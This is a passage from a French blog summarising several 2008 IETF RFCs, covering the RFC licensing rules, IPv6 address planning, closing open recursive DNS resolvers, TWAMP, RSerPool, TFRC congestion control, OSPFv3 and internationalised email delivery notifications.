Première rédaction de cet article le 11 novembre 2008
Une fois les droits de publication, et de modification, offerts par le(s) auteur(s) d'un RFC à l'IETF trust, quels droits ce dernier va t-il transmettre aux lecteurs d'un RFC ? Le RFC 5378 spécifiait les droits « entrants » à l'IETF trust, et notre RFC 5377 spécifie les droits sortants : que puis-je faire avec un RFC ? Ai-je le droit de le lire ? De le redistribuer ? De le traduire ? (Il a depuis été remplacé par le RFC 8721.)
Pendant longtemps, l'IETF avait été réputée plus généreuse que les autres SDO car ses RFC étaient distribués librement (alors que l'ISO ou l'ITU faisaient payer une somme considérable, qui n'était même pas justifiée par les frais de distribution puisque ces dinosaures interdisaient la reproduction et la redistribution). Mais les temps ont changé : d'autres SDO ont suivi ce chemin, à commencer par le W3C, certaines organisations traditionnelles se sont ouvertes, comme l'ITU. L'IETF est désormais dans la moyenne, plus ouverte que l'ISO mais beaucoup moins que le W3C ou OASIS.
Compte-tenu de cette tendance à l'ouverture, et du développement du logiciel libre, accompagné d'un mouvement en faveur de formats ouverts, l'IETF devait donc libéraliser sa politique de licence, qui était spécifiée dans le RFC 3978. Celle-ci spécifiait notamment que les RFC étaient distribués et redistribués librement mais que toute modification était interdite. Ce problème n'était pas purement théorique : du texte issu de RFC se retrouve souvent verbatim dans des documentations de logiciel ou dans des manuels en ligne comme la page getaddrinfo (RFC 3493) sur beaucoup d'Unix. Le texte du RFC n'étant pas modifiable, ce logiciel devenait non libre. Pire, les RFC comportent souvent du code (définitions des MIB, exemples de code, schémas XML, implémentation du protocole, etc) et celui-ci n'était pas non plus modifiable et ne pouvait donc pas être inséré dans un logiciel libre !
Il était donc nécessaire de libéraliser. Mais une partie de la « vieille garde » de l'IETF s'est opposé à toute évolution et ce RFC 5377 ne représente donc finalement qu'une libéralisation très modérée. La principale innovation par rapport au RFC 3978 est la séparation du RFC entre code et texte, avec des règles différentes, plus ouvertes pour le code.
La section 1 du RFC rappelle un point important : c'est désormais
l'IETF trust qui décide. Le RFC 5377, publié par l'IETF, n'est qu'indicatif et ne fixe que des
grands principes. Le texte exact de la licence des RFC est écrit par
l'IETF trust (http://trustee.ietf.org/license-info/
et il existe aussi une FAQ sur ces textes.) La
section 2 revient d'ailleurs sur les raisons de ce choix (pouvoir
s'adapter aux changements légaux aux ÉUA, pays de l'IETF
trust et de l'ISOC).
On pourra trouver ce texte standard, ce boilerplate, sur le site du Trust.
La section 2 du RFC décrit les buts que suit l'IETF en publiant des RFC (cf. RFC 3935). Clairement, l'élaboration d'une licence doit se faire en gardant ces buts à l'esprit : faire fonctionner l'Internet le mieux possible.
La section 3 explique l'articulation de ce RFC avec le RFC 5378 : les droits sortants (ceux que l'IETF trust accorde aux utilisateurs) doivent être inférieurs ou égaux aux droits entrants (ceux que l'auteur a accordé à l'IETF trust). Autrement dit, l'IETF ne peut pas donner de droits qu'elle n'a pas. Si l'auteur d'un RFC interdit toute modification à son texte, le RFC publié ne permettra pas de modifications (et ne pourra d'ailleurs pas être publié sur le chemin des normes).
La section 4 s'attaque aux droits que l'IETF trust devrait donner aux utilisateurs :
Les discussions sur le groupe de travail IPR ont été longues et passionnées. Elles opposaient surtout la vieille garde IETF, attachée à ne rien changer et effrayée par les changements survenus avec le développement du logiciel libre, mais aussi du Web (avec ses mashups, son Wikipédia et autres preuves de l'importance du droit de modification) aux partisans du logiciel libre comme Simon Joseffson ou Lawrence Rosen. Notons que Joseffson a écrit quatre RFC, comportant souvent du code. Je cite ce point car un des arguments les plus vicieux d'un débat qui en a compté beaucoup était que les partisans d'une libéralisation n'avaient jamais écrit de RFC et donc devaient se taire !
Pourquoi donc cet acharnement à refuser les modifications ? La
raison la plus souvent invoquée était le désir d'éviter l'apparition
de « RFC non officiels », incompatibles avec les « vrais », qui
pourraient semer la confusion. Ainsi, un « méchant » pourrait créer un document mettant à jour le RFC 5321 en remplaçant EHLO
par GDAY
. Outre que cette « attaque » reste très théorique, plusieurs participants ont fait remarquer que les nouvelles règles ne l'empêchent pas et que la seule protection contre ce genre de problèmes serait dans le droit des marques, par exemple en faisant déposer la marque RFC pour empêcher le document du méchant de se présenter comme RFC. Or, ce point n'a jamais été considéré...
Notons enfin que beaucoup de participants à l'IETF n'ont pas du tout suivi ce qui se passait dans ce petit groupe, en général par manque d'intérêt pour les questions politiques et juridiques.
Date de publication du RFC : Décembre 2008
Auteur(s) du RFC : G. Van de Velde, C. Popoviciu
(Cisco), T. Chown (University of
Southampton), O. Bonness, C. Hahn
(T-Systems)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 4 décembre 2008
Voici un RFC qui s'adresse à l'administrateur système plutôt qu'au développeur. Il s'agit d'expliquer deux ou trois choses sur l'affectation des adresses IPv6 aux machines du réseau local, afin d'aider à la création d'un plan d'adressage.
Les principes de base de l'adressage IP sont décrits dans le RFC 4291. Une adresse est composée de deux parties, celle qui identifie le réseau et celle qui identifie l'interface de la machine, l'interface ID.
La section 1 du RFC rappelle les principales différences avec IPv4 :
La section 2 s'attaque ensuite à l'adressage de la partie réseau (le préfixe), que ce soit pour les adresses uniques mondialement (section 2.1) ou bien pour les adresses de site du RFC 4193 (section 2.2). Le gros morceau est en 2.4, qui détaille les bénéfices qu'on peut tirer du vaste espace d'adressage IPv6. Des schémas d'adressage « créatifs », par exemple où le préfixe est dérivé du numéro du VLAN sont désormais possibles. La croissance future du réseau peut être permise en laissant des trous dans l'allocation comme l'explique un excellent document, le RFC 3531.
La taille des préfixes est à étudier : le RFC 3177 posait comme principe l'affectation d'un /48 à chaque site, quel que soit sa taille, notamment pour éviter les problèmes en cas de rénumérotation. Mais la section 2.4.2 parle des problèmes d'économie d'adresses v6 (cf. RFC 3194). Et le RFC 6177 ne fait plus de recommandation unique.
La section 3 est dédiée à la question de la taille du préfixe d'un lien donné. Contrairement à IPv4 où on dispose d'une liberté complète, IPv6 suppose un préfixe de lien de /64 (RFC 4291, section 2.5.4). Choisir une autre valeur est théoriquement possible, mais casserait plusieurs protocoles importants comme SEND ou comme les adresses temporaires du RFC 8981. Pire, cela pourrait limiter le déploiement de futurs protocoles qui auraient eux-aussi besoin de 64 bits pour les adresses des machines. (Voir aussi l'annexe B.1 et B.2 ; on y trouve une exception pour les liens point-à-point entre deux routeurs, où un /126 est acceptable, mais pas un /127.)
Ensuite, les adresses des machines sur le lien peuvent être attribuées par plusieurs méthodes (section 4) :
2001:DB8:CAFE:1::1
est correct (les deux bits
sont à zéro) mais pas 2001:DB8:CAFE:1:0200::1
(le
bit 'u' est à un, dans le groupe 0200
).Deux études de cas concrètes, en annexe A, rendent ce RFC un peu plus facile à lire.
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : J. Damas (ISC), F. Neves (registro.br)
Première rédaction de cet article le 20 octobre 2008
L'ampleur des attaques DoS menées avec l'aide de serveurs DNS récursifs ouverts a mené à ce RFC qui résume les bonnes pratiques : un serveur DNS ne doit pas être récursif pour le monde entier.
L'accroissement du nombre d'attaques début 2006 a provoqué une prise de conscience, qui s'est manifesté par de nombreux avertissements aux administrateurs réseaux (comme celui de l'AFNIC). La vitesse de publication d'un RFC étant ce qu'elle est, c'est seulement maintenant qu'un RFC met par écrit cette règle simple (le RFC est très court). Un serveur DNS ne doit être récursif que pour ses clients connus, pas pour tout l'Internet.
En effet, s'il est récursif ouvert, il peut servir de base à une attaque par amplification. Il n'y a aujourd'hui aucune raison technique légitime de laisser un serveur récursif ouvert (vous pouvez tester le vôtre avec l'interface Web de the Measurement Factory et trouver des informations sur la configuration de votre logiciel dans le document, malheureusement ancien, Securing an Internet Name Server).
La section 4 détaille les configurations qui peuvent limiter l'accès à la récursion : par exemple, pour un boîtier SOHO qui sert également de résolveur DNS, discriminer selon l'interface (n'accepter les requêtes DNS que si elles viennent du réseau local). Ou bien, pour les machines en déplacement (un des arguments les plus souvent présentés par ceux qui voulaient maintenir la récursion ouverte à tous), utiliser un résolveur local à la machine, ou bien monter un VPN avec un résolveur de confiance.
À noter que notre RFC parle également beaucoup de BCP 38 (actuellement le RFC 2827) comme étant la « vraie » solution au problème. Mais c'est exagéré : BCP 38 ne résoud pas tous les problèmes, notamment les attaques entres clients d'un même opérateur.
Une technique non mentionnée par le RFC est de limiter le trafic du résolveur.
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : K. Hedayat (Brix Networks), R. Krzanowski (Verizon), A. Morton (AT&T Labs), K. Yum (Juniper Networks), J. Babiarz (Nortel Networks)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 7 octobre 2008
Aujourd'hui, l'administrateur réseau qui
teste ses problèmes de performance utilise en général
ping pour mesurer le RTT, le temps d'aller-retour avec la machine visée. Demain,
utilisera t-il un programme nommé twping
et le
vieux ping sera t-il dépassé ? C'est en tout cas ce que
visent les auteurs de ce protocole de mesure de
RTT. (ping restera utile pour les tests de bon fonctionnement.)
ping, qui repose sur l'envoi de paquets
ICMP echo request
et
echo reply
(cf. RFC 792) a en effet des limites, décrites dans
le RFC 2681, section 2.6 : notamment, il est difficile de
savoir si les paquets ICMP ont été traités rapidement ou pas par la
machine qui répond (un routeur Cisco renvoie la
réponse très lentement, car elle doit passer par le processeur
généraliste du routeur). En outre, il n'est pas possible de réserver
l'usage de ces paquets echo
à certains, sauf à
filtrer par adresse IP (TWAMP, lui, permet l'authentification).
TWAMP (Two-way Active Measurement Protocol) hérite directement d'OWAMP (One-way Active Measurement Protocol, RFC 4656). Il reprend beaucoup de ses concepts, notamment la séparation en deux protocoles, celui de contrôle et celui de test. Notre RFC 5357 est d'ailleurs largement écrit sous forme de différences entre OWAMP et TWAMP, on ne peut donc pas implémenter ce dernier sans avoir lu le RFC 4656.
TWAMP met donc en œuvre la métrique décrite dans le RFC 2681 pour les mesures bidirectionnelles. Ces mesures ont l'avantage de ne pas dépendre de la présence d'une horloge correcte sur les deux machines et l'inconvénient de ne pas pouvoir séparer les contributions du trajet aller et du trajet retour. Un des deux est peut-être bien plus lent que l'autre mais les mesures bidirectionnelles ne pourront pas le détecter.
Comme l'explique la section 1.2, un système TWAMP peut comprendre jusqu'à quatre machines mais on peut supposer que, la plupart du temps, il n'y en aura que deux, la Control-Client/Session-Sender et la Server/Session-Reflector. Le programme sera lancé sur la première, qui émettra les paquets qui seront renvoyés par la seconde, permettant de calculer le RTT.
La section 2 décrit le protocole : le Control-Client établit une connexion avec le Server sur le port 862, ils se mettent d'accord sur le test, puis le Session-Sender envoie les paquets au Session-Reflector.
La section 3 décrit le protocole de contrôle, très proche de celui d'OWAMP. La section 4 est consacrée au protocole de test, dont la différence avec son prédécesseur est plus marquée, puisqu'il faut désormais renvoyer les paquets reçus. La procédure exacte suivie par le Reflector est décrite en 4.2. Le réflecteur renvoie la date d'arrivée, celle d'émission de la réponse et d'autres informations (section 4.2.1). Comme la réponse contient le TTL tel qu'il était à l'arrivée, une implémentation de TWAMP doit pouvoir accéder aux en-têtes IP, ce qui n'est pas pas toujours simple. Comme avec OWAMP, le diable est dans les détails et l'implémentation doit être faite très soigneusement pour limiter les erreurs et imprécisions.
TWAMP a depuis, bénéficié d'extensions au protocole de base, décrites dans le RFC 6038.
À noter que ce RFC est, je crois, le premier RFC qui normalise la prononciation du sigle du protocole (section 1.3) : « ti-ouampe ».
Il n'existe pas actuellement de mise en œuvre de TWAMP en logiciel libre. Compte-tenu de la proximité du protocole avec OWAMP, le meilleur moyen d'en écrire une serait sans doute de partir du programme owamp.
Pour une critique vigoureuse de ce RFC (pas du protocole, mais de la rédaction du RFC), voir « How NOT to Write a Protocol Specification », de Dustin D. Trammell.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : Q. Xie, R. Stewart, M. Stillman (Nokia), M. Tuexen (Muenster Univ. of Applied Sciences), A. Silverton (Motorola)
Expérimental
Réalisé dans le cadre du groupe de travail IETF rserpool
Première rédaction de cet article le 30 septembre 2008
Complétant la série des RFC sur la famille de protocoles Rserpool, famille dont le cahier des charges était le RFC 3237, ce document normalise le protocole ENRP (Endpoint Handlespace Redundancy Protocol) qui est le protocole utilisé entre les serveurs qui font la traduction des identifiants, les handles, en adresses IP.
Rappelons brièvement le fonctionnement de Rserpool (le RFC 5351 fournit une description plus détaillée) : un client, le PU (Pool User) veut accéder aux services fournis par un groupe (pool) de serveurs d'application, les PE (Pool Elements). Le client ne connait que l'identifiant du groupe, le PH (Pool Handle). Pour le traduire en adresses IP, le client utilise le protocole ASAP (RFC 5352) pour demander aux serveurs ENRP cette traduction. Les PE utilisent également ASAP pour s'enregistrer auprès des serveurs ENRP. Et comment les serveurs ENRP se synchronisent-ils ? Avec le protocole ENRP de notre RFC 5353. Grâce à lui, les serveurs ENRP forment un registre distribué et résistant aux pannes.
Notons qu'ENRP n'est conçu que pour fonctionner au sein d'un même domaine administratif, où toutes les machines sont configurées par la même équipe et peuvent donc, après authentification forte, se faire confiance (la section 6 détaille ces exigences de sécurité et impose TLS avec authentification réciproque). La conception d'un tel protocole pour l'Internet entier est encore un défi.
C'est la section 3 qui décrit le fonctionnement du protocole. Au démarrage, un serveur ENRP doit (section 3.2) générer son identifiant ENRP (un entier de 32 bits), trouver un mentor, le pair qui lui donnera les autres informations (la section 3.2.21 explique comment), obtenir la liste de ses pairs (et la garder à jour, cf. section 3.4) puis les tenir au courant des enregistrements/départs de PE (section 3.3) qu'il voit (chaque PE ne parle qu'à un serveur ENRP, son home server).
La section 3.5 détaille la procédure plus compliquée de remplacement (take over), qui permet à un pair de remplacer un pair en panne et de signaler aux PE (via le protocole ASAP) qu'ils doivent changer leur serveur ENRP.
La section 2 du RFC décrit les messages ENRP (s'appuyant sur la
base fournie par le RFC 5354). Par exemple,
ENRP_PRESENCE
(section 2.1) permet à un serveur
ENRP d'annoncer à un de ses pairs ENRP qu'il est toujours
là. ENRP_HANDLE_TABLE_REQUEST
(section 2.2) est
utilisé lorsqu'un pair ENRP rejoint les autres et réclame une copie
complète de la table des handles et des adresses IP
associées. ENRP_HANDLE_UPDATE
(section 2.4)
servira ensuite aux mises à jour, au fur et à mesure que des PE
s'enregistreront ou bien partiront.
ENRP_LIST_REQUEST
(section 2.5) est également
utilisé à l'initialisation d'un pair ENRP : il lui permet de demander
une liste des pairs ENRP actuellement actifs.
Il existe au moins une mise en œuvre d'ENRP dans http://tdrwww.iem.uni-due.de/dreibholz/rserpool/
.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : R. Stewart, Q. Xie, M. Stillman
(Nokia), M. Tuexen (Muenster University of Applied Sciences)
Expérimental
Réalisé dans le cadre du groupe de travail IETF rserpool
Première rédaction de cet article le 30 septembre 2008
Membre de la famille Rserpool (décrite dans le RFC 5351, ASAP (Aggregate Server Access Protocol) est le protocole de communication entre un client (le PU, pour Pool User) et le serveur ENRP (RFC 5353), ainsi qu'entre un élément du groupe de serveurs d'application (le PE pour Pool Element) et le serveur ENRP. ASAP permet aux PE de s'enregistrer auprès du serveur ENRP et aux PU de trouver l'adresse d'un PE avec lequel ils vont travailler.
Le groupe de serveurs de l'application, le pool, est identifié par un handle nommé PH (pool handle). ASAP permettra de résoudre cet handle en une ou plusieurs adresses IP. Le fait d'interposer cet intermédiaire entre le client et le serveur de l'application permet d'assurer des fonctions de répartition de charge ou de résistance aux pannes. Comme le rappelle la section 1.3, un handle n'a qu'une signification locale à une organisation, il ne prétend pas être unique pour tout l'Internet.
Les deux fonctions essentielles d'ASAP sont donc :
ASAP_REGISTRATION
, section
2.2.1),ASAP_HANDLE_RESOLUTION
,
section 2.2.5).ENRP, quant à lui (RFC 5353), est utilisé entre les serveurs ENRP, pour assurer leur synchronisation.
Une façon simple de décrire ce que fournit ASAP est de lire la section 6 qui décrit, en pseudo-code, les primitives d'ASAP. Par exemple, l'enregistrement d'un serveur dans le groupe est (section 6.1) :
Format: registration.request(poolHandle, User Transport parameter(s))
La section 2 détaille le format des messages que portera ASAP. Le
format de base est défini dans le RFC 5354. Ainsi,
ASAP_REGISTRATION
(section 2.2.1) porte le
handle du groupe que le PE veut rejoindre. La
réponse, ASAP_REGISTRATION_RESPONSE
(section
2.2.3) comprendra un champ Reject qui, mis à 1,
indiquera l'échec éventuel (un 0 signifiant le succès).
L'autre message important est
ASAP_HANDLE_RESOLUTION
(section 2.2.5) et sa
réponse, ASAP_HANDLE_RESOLUTION_RESPONSE
. Le
premier permet de résoudre un handle en une adresse
IP (ou une liste d'adresses IP, pour donner du choix au client, et lui
permettre d'essayer d'autres serveurs en cas de défaillance, voir par
exemple la section 6.8.1 et le RFC 5356).
Le principal protocole de transport utilisé par ASAP (sections 2.1 et 5) n'est pas TCP mais SCTP (RFC 4960), entre autres parce qu'il fournit déjà une certaine résistance aux pannes (plusieurs adresses IP peuvent être utilisées pour la même association). Le port par défaut est 3863 (3864 avec TLS). Notons qu'ASAP n'est pas purement requête-réponse : le serveur ENRP peut envoyer des messages non sollicités, par exemple si un pool change.
Il existe une implémentation d'ASAP en logiciel libre dans rsplib.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : P. Lei (Cisco), L. Ong (Ciena), M. Tuexen (Muenster University of Applied Sciences)
, T. Dreibholz (University of Duisburg-Essen)
Pour information
Réalisé dans le cadre du groupe de travail IETF rserpool
Première rédaction de cet article le 30 septembre 2008
Il existe de très nombreux cas où une application cliente peut utiliser plusieurs serveurs parmi un groupe (le pool). L'idée de la suite de protocoles Reliable Server Pooling ( RSerPool) est de fournir un moyen standard de faire ce choix. Ce RFC explique les concepts de base de ce protocole, normalisé dans d'autres RFC.
La section 1 du RFC résume les raisons pour lesquelles on veut disposer d'un groupe, un pool, de serveurs plutôt que d'un serveur unique, par exemple, pour atteindre des objectifs de haute disponibilité ou de répartition de charge. Les nouveaux protocoles devront fournir notamment les services suivants :
Comment sont structurés les protocoles de la famille RSerPool ? (Le cahier des charges était le RFC 3237 et prévoyait un protocole relativement léger, interne à un domaine administratif, moins ambitieux, donc, que les grilles.) Le groupe (pool) a un identificateur, le PH (Pool Handle). Les serveurs du groupe se nomment les PE (Pool Element). Chaque PE s'enregistre auprès d'un serveur ENRP (Endpoint haNdlespace Redundancy Protocol) en utilisant le protocole ASAP (Aggregate Server Access Protocol), décrit dans le RFC 5352. Le client se nomme, lui, le PU (Pool User). Il utilise également ASAP pour parler au serveur ENRP, obtenant ainsi la correspondance entre le PH et l'adresse IP du serveur effectif. Le PU parlera ensuite directement au PE, utilisant un protocole spécifique à l'application. Enfin, le serveur ENRP peut se synchroniser avec d'autres serveurs ENRP (RFC 5353) pour fournir également un service à haute disponibilité.
Ces protocoles sont décrits dans différents RFC, le RFC 5352 pour ASAP, le RFC 5353 pour ENRP, le RFC 5354 pour le format des paramètres, le RFC 5356 pour les politiques de sélection des serveurs et le RFC 5355 pour l'analyse des risques de sécurité.
La section 2 décrit ASAP (Aggregate Server Access Protocol), le protocole de communication entre le PU et le serveur ENRP, ainsi qu'entre ce dernier et les PE, les membres du groupe. ASAP est normalisé dans le RFC 5352. Il permet aux PE de s'enregistrer auprès du serveur ENRP (section 2.2) et au PU d'obtenir l'adresse d'un membre du groupe (section 2.3). Dès qu'un PE s'enregistre sous un identificateur de groupe (un PH), ce groupe existe et, lorsque le dernier PE se désenregistre, le groupe disparait (section 2.1).
Comme la communication entre le PU, le client et le PE, le serveur, est directe (ce qui permet au protocole d'être indépendant de l'application), il n'y a pas d'état et il peut donc être difficile de passer d'un PE à un autre en cas de panne, le nouveau PE ne se souvenant pas du contexte de l'application. La famille de protocoles RSerPool fournit donc quelques mécanismes limités pour conserver un état (section 2.5). Ainsi, la section 2.5.1 permet un système de petits gâteaux, envoyés par le PE au PU et que celui-ci doit renvoyer lorsqu'il change de PE, permettant ainsi de garder trace de l'état de l'application.
La section 3 décrit ENRP, Endpoint haNdlespace Redundancy Protocol, le protocole de communication entre les serveurs ENRP. Ce protocole, normalisé dans le RFC 5353, permet aux serveurs ENRP d'un domaine de se synchroniser et de garder trace des PE enregistrés dans tel ou tel groupe.
La section 4, enfin, donne des exemples d'usage de la famille RSerPool. L'exemple de la section 4.1 est relativement simple, RSerPool y est utilisé pour sélectionner un serveur. La résolution d'un PH en adresse IP d'un serveur est donc le seul service invoqué. Cette section décrit les modifications nécessaires au code source de l'application :
À noter qu'il n'existe pas d'API standard pour les protocoles de la famille RSerPool. À noter également que, dans un exemple aussi simple, RSerPool n'était pas forcément nécessaire, les enregistrements DNS SRV du RFC 2782 auraient suffi.
L'exemple de la section 4.2 est plus complexe, faisant appel à toutes les fonctions de RSerPool, y compris pour la transmission de données entre le client, le PU et le serveur, le PE.
Il existe au moins une mise en œuvre de RSerPool. Elle est
disponible en http://tdrwww.iem.uni-due.de/dreibholz/rserpool/
. Elle est
décrite dans la thèse Reliable
Server Pooling -- Evaluation, Optimization and Extension of a Novel
IETF Architecture. La page de
l'auteur contient beaucoup d'autres informations sur la famille
Rserpool.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : M. Handley, S. Floyd
(ICIR), J. Padhye (Microsoft), J. Widmer (University of Mannheim)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dccp
Première rédaction de cet article le 25 septembre 2008
Tout protocole sur Internet doit gérer la congestion et réagir proprement à celle-ci, sans aggraver le problème par un comportement égoïste. Si ce protocole fonctionne sur TCP, c'est fait automatiquement pour lui. Mais s'il fonctionne sur des protocoles sans notion de connexion, comme UDP, c'est plus complexe. Ce RFC spécifie un mécanisme que les protocoles peuvent utiliser pour assurer un contrôle de congestion compatible avec celui de TCP. Il s'applique aussi bien aux protocoles de la couche transport comme DCCP qu'aux protocoles de la couche application, si la couche transport ne fournit pas de contrôle de congestion.
Il est difficile de demander à chaque application de faire ce contrôle, qui est très complexe. Celles utilisant TCP ou bien DCCP (RFC 4340) voient ce contrôle fait automatiquement pour elles. Le protocole de notre RFC 5348, TFRC, peut être utilisé par DCCP, son principal client (RFC 4342), ou bien par une application utilisant UDP (section 1 du RFC). TFRC n'est d'ailleurs pas un protocole complet, spécifié dans les moindres détails, puisque certains points dépendent du protocole qui l'utilise (le RFC 4342 donne un exemple d'utilisation de TFRC).
Le nom de TFRC vient de son désir d'être « civil » envers TCP lorsqu'un flot de données TCP et un flot de données DCCP sont en compétition sur le même câble. Normalement, chacun des deux flots doit obtenir une part à peu près égale de la capacité disponible. (Un protocole « incivil » enverrait le plus de paquets possible, sans ralentir, malgré la congestion.)
TFRC met en œuvre ses mécanismes chez le récepteur des données (sections 3, 5 et 6). Celui-ci mesure le pourcentage de données perdues et en informe l'émetteur (par des paquets décrits en section 3.2.2), qui devra alors ralentir l'envoi (pour calculer le ralentissement nécessaire, l'émetteur dispose également du RTT, qu'il a mesuré à cette occasion). L'équation exacte est donnée dans la section 3.1 et est très proche de celle dite Reno.
Le contrôle de congestion est un problème complexe, très mathématique, et qui mène facilement à des textes longs, comme ce RFC. Les nombreuses formules qu'il contient sont d'autant plus difficile à lire que, comme tout RFC, il est en texte brut.
La section 4 décrit plus en détail ce que doit faire l'émetteur, notamment s'il ne reçoit pas les paquets d'information du récepteur (l'émetteur doit alors diviser son débit par deux, mesure drastique justifiée par le fait que, si aucun paquet d'information ne passe, c'est probablement que la congestion est sévère).
Notons qu'une variante de TFRC fonctionne avec des mesures du taux de perte de paquets faites par l'émetteur et pas par le récepteur. Elle est décrite en section 7.
TFRC avait été normalisé à ses débuts dans le RFC 3448. La section 9 résume les changements, peu importants. Le principal est que, dans l'ancien RFC, l'émetteur était tenu par le taux d'envoi que lui imposait le récepteur. Si l'émetteur envoyait peu, parce qu'il n'avait pas grand'chose à dire (data limited), le récepteur lui retournait un taux d'envoi faible. Ce problème a été traité.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : R. Coltun (Acoustra Productions), D. Ferguson (Juniper Networks), J. Moy (Sycamore Networks), A. Lindem (Redback Networks)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ospf
Première rédaction de cet article le 24 juillet 2008
Le protocole de routage OSPF, normalisé dans le RFC 2328 est, à l'origine, très lié à IPv4. Le déploiement d'IPv6 nécessitait une adaptation d'OSPF et c'est ainsi que la version 3 d'OSPF (le RFC 2328 décrivait la version 2) est sortie, baptisée « OSPF pour IPv6 ».
Le premier RFC sur cette nouvelle version d'OSPF était le RFC 2740 que notre RFC 5340 met à jour. Comme son prédécesseur, ce RFC est écrit sous forme d'une liste de différences avec OSPF v2 (la version pour IPv4) et il faut donc lire également le RFC 2328 si on veut tout comprendre. Dur travail car la seule liste des différences fait 111 pages, mais il est vrai qu'OSPF n'est pas un protocole simple. En tout cas, je présente ce RFC comme il est écrit, sans reprendre ce que disait déjà le RFC 2328.
OSPF v3, la version pour IPv6, reprend les concepts habituels d'OSPF, comme l'inondation des LSA, l'élection des routeurs sur l'Ethernet, etc. Mais il n'est pas compatible avec OSPF v2, en raison du changement de format des paquets (section 2.7). Un site « double-pile » (IPv4 et IPv6) doit donc faire tourner les deux protocoles en parallèle (certains sites ont préféré adopter IS-IS pour n'avoir qu'un seul protocole).
Reprenant les concepts et le vocabulaire d'OSPF v2, le RFC a parfois eu des problèmes avec certains concepts qui avaient des noms différents entre IPv4 et IPv6. La section 1.2, de terminologie, détaille ces pièges.
La section 2 résume le RFC, puisqu'elle explique les différences entre OSPF v2 et OSPF v3. La plus grosse différence est le fait que tout ce qui est spécifique des adresses IP a été retiré des paquets généraux et mis dans des LSA spécifiques du protocole considéré (section 2.2). OSPF v3 est ainsi plutôt « multi-protocole » que purement IPv6 et il aurait pu être utilisé pour IPv4. Mais, en pratique, cela n'a jamais été fait et OSPF v3 ne sert qu'à IPv6. Peut-être les extensions à OSPFv3 qu'a finalement apporté le RFC 5838, en avril 2010, décoinceront enfin les choses.
Ainsi, les paquets Hello
d'OSPF v2 indiquaient
le masque de sous-réseau utilisé, ce qui n'est plus le cas en OSPF
v3. De même, les identificateurs comme le Router ID
ne sont plus des adresses, ce sont simplement des nombres de 32 bits,
qu'on écrit avec la syntaxe habituelle des adresses IPv4.
Parmi les autres différences, on peut noter qu'OSPF v3 travaille par lien réseau et plus par sous-réseau IP
(section 2.1), qu'on peut faire tourner plusieurs incarnations d'OSPF
sur le même lien, différenciées par leur Instance
ID (section 2.4) et que les voisins sont identifiés par une
adresses « locale au lien » (section 2.5) comme
fe80::207:cbff:fec3:8323
ce qui, à mon avis, ne
facilite pas le débogage (peu d'administrateurs réseaux connaissent
par cœur les adresses locales au lien de leurs routeurs).
L'authentification des routeurs voisins a disparu du RFC (section 2.6), puisqu'on est censé désormais utiliser IPsec (via le RFC 4302). L'idée était que tout le monde utiliserait IPsec, de toute façon, d'autant plus qu'il était censé être obligatoirement intégré dans IPv6 ce qui, en pratique, n'a pas été le cas. L'idée de se reposer entièrement sur IPsec a été abandonnée avec la sortie du RFC 6506, qui prévoit un mécanisme d'authentification pour OPSFv3.
La section 3 décrit les différences entre l'ancien RFC, le RFC 2740 et celui-ci. Normalement, anciennes et nouvelles implémentations d'OSPF v3 interopèrent. Parmi les changements, l'abandon de MOSPF (section 3.2), le service de multicast (RFC 1584), jamais réellement utilisé. Ou bien l'abandon des adresses IPv6 « locales au site » (section 3.7), suivant le RFC 3879.
La section 4 est ensuite consacrée aux « conseils aux implémenteurs », c'est-à-dire tout ce qu'il faut savoir pour créer une belle mise en œuvre d'OSPF v3. Elle détaille les changements dans les structures de données que doit maintenir le routeur (section 4.1), le traitement des paquets (section 4.2), les nouveaux LSA (comme le Link LSA de la section 4.4.3.8) et les changements des anciens (section 4.4), etc.
La section 5 est consacrée à la sécurité. Elle revient sur l'authentification des routeurs, qui doit désormais se faire avec IPsec, comme détaillé dans le RFC 4552 (idée abandonnée avec le RFC 6506). Elle note aussi que l'authentification des routeurs ne suffit certainement pas à éliminer tous les problèmes de sécurité du routage, comme le détaille le RFC 4593.
L'annexe A détaille le format des paquets, les B et C les paramètres qui gouvernent le comportement d'OSPF.
Des exemples de configuration concrète d'un routeur OSPF v3 se trouvent dans mon cours OSPF. Par exemple, on peut voir les adjacences IPv6 sur un des routeurs :
# show ipv6 ospf6 neighbor RouterID State/Duration DR BDR I/F[State] 192.134.7.241 Full/00:01:42 192.134.7.245 192.134.7.241 eth0[DR] 10.4.200.2 Full/00:00:01 0.0.0.0 0.0.0.0 eth1[DR]
où on note que les routeurs sont identifiés par un Router ID, qui a la forme d'une adresse IPv4.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : C. Newman (Sun), A. Melnikov (Isode)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 7 septembre 2008
Dans l'ensemble des RFC sur l'internationalisation des adresses de courrier électronique, ce document traite le cas des accusés de réception et avis de non-remise (DSN pour Delivery Status Notification). Il est le prédécesseur du RFC 6533, la norme actuelle.
Puisque les RFC 5336 et RFC 5335 permettent désormais d'utiliser des adresses de courrier électroniques internationalisées, c'est-à-dire utilisant tout le jeu de caractères Unicode, il faut prévoir le cas où les courriers provoquent l'envoi d'avis de remise ou de non-remise (DSN pour Delivery Status Notification, RFC 3461 et RFC 3464) et d'accusés de réception (MDN, pour Message Disposition Notification, RFC 8098). C'est l'objet de ce RFC, qui met à jour les anciens documents qui limitaient ces accusés et avis au jeu ASCII.
Le format des DSN dans le RFC 3464 parle de « types
d'adresse ». Les adresses en UTF-8 du RFC 5335 sont un nouveau type d'adresses. Si le
serveur SMTP accepte l'extension UTF8SMTP du RFC 5336 et l'extension DSN du RFC 3461, il doit
permettre d'utiliser ce type dans le paramètre ORCPT
(Original Recipient, section 4.2 du RFC 3461). Si le
serveur n'accepte pas UTF8SMTP, l'adresse à utiliser dans les DSN doit
être encodée en 7bits, selon les règles exposées dans cette section 3 (et
non pas selon les règles du RFC 5137, paru trop tard). Par
exemple, stéphane@bortzmeyer.org
peut s'écrire
